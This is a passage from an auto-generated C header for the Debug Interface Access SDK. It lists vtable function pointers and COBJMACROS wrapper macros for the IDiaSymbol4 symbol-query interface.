( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol4 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol4 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol4 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol4 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol4 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol4 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol4 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol4Vtbl;\n\n    interface IDiaSymbol4\n    {\n        CONST_VTBL struct IDiaSymbol4Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol4_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol4_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol4_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol4_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol4_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol4_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol4_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol4_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol4_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol4_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol4_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol4_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol4_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol4_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol4_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol4_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol4_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol4_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol4_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol4_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol4_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol4_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol4_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol4_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol4_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol4_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol4_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol4_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol4_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol4_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol4_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol4_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol4_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol4_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol4_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol4_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol4_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol4_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol4_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol4_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol4_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol4_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol4_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol4_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol4_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol4_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol4_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol4_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol4_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol4_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol4_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol4_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol4_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol4_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol4_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol4_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol4_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol4_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol4_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol4_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol4_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol4_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol4_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol4_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol4_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol4_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol4_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol4_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol4_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol4_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol4_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol4_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol4_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol4_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol4_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol4_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol4_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol4_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol4_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol4_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol4_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol4_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol4_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define 